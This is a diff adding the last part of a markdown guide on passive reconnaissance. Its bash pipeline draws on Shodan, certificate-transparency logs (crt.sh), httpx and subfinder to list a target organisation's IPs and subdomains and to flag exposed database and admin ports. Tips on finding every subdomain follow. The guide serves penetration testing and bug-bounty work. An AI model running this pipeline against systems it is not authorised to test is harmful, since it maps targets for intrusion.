+ ## Phase 8: Automated Attack Surface Script
237
+
238
+ ```bash
239
+ # Full passive recon pipeline:
240
+ TARGET="target.com"
241
+ ORG="Target Company Inc"
242
+
243
+ # 1. Find IPs via Shodan:
244
+ shodan search "org:\"$ORG\"" --fields ip_str -o shodan_ips.txt 2>/dev/null
245
+
246
+ # 2. Find subdomains via CT:
247
+ curl -s "https://crt.sh/?q=%25.$TARGET&output=json" | \
248
+ python3 -c "import sys,json; [print(c['name_value']) for c in json.load(sys.stdin)]" | \
249
+ sort -u | grep -v "^\*" > ct_subs.txt
250
+
251
+ # 3. Resolve subdomains:
252
+ cat ct_subs.txt | httpx -silent -ip -status-code -title -tech-detect \
253
+ -o resolved_subs.txt 2>/dev/null
254
+
255
+ # 4. Check for exposed services on discovered IPs:
256
+ cat shodan_ips.txt | while read ip; do
257
+ shodan host "$ip" 2>/dev/null | grep -E "^Ports:|Open ports"
258
+ done > exposed_ports.txt
259
+
260
+ # 5. Check for exposed admin/DB ports:
261
+ grep -E "27017|6379|9200|5432|3306|8080|8443" exposed_ports.txt > risky_ports.txt
262
+ cat risky_ports.txt
263
+ ```
264
+
265
+ ---
266
+
267
+ ## Pro Tips
268
+
269
+ 1. **SSL certificates** — `ssl.cert.subject.cn:*.target.com` in Shodan finds ALL subdomains with valid certs
270
+ 2. **crt.sh wildcard** — `%.target.com` returns ALL certificates ever issued (including dev/internal)
271
+ 3. **Shodan `net:`** — use discovered CIDR ranges for bulk scanning of entire IP space
272
+ 4. **Historical data** — `shodan host <ip> --history` shows port changes over time (good for scope changes)
273
+ 5. **FOFA for IoT** — better coverage than Shodan for Asian/Chinese targets
274
+ 6. **Combine sources** — `subfinder -d target.com` queries Shodan + Censys + CT logs simultaneously
275
+ 7. **Censys for certs** — finds wildcard certs exposing *all* subdomains in SAN field
276
+
277
+ ## Summary
278
+
279
+ Internet recon flow: ASN lookup → `shodan search "org:..."` for IPs/services → `crt.sh` + `subfinder` for subdomains → `httpx` to probe live hosts → `shodan host <ip>` for port details → flag risky ports (27017/6379/9200) for direct testing.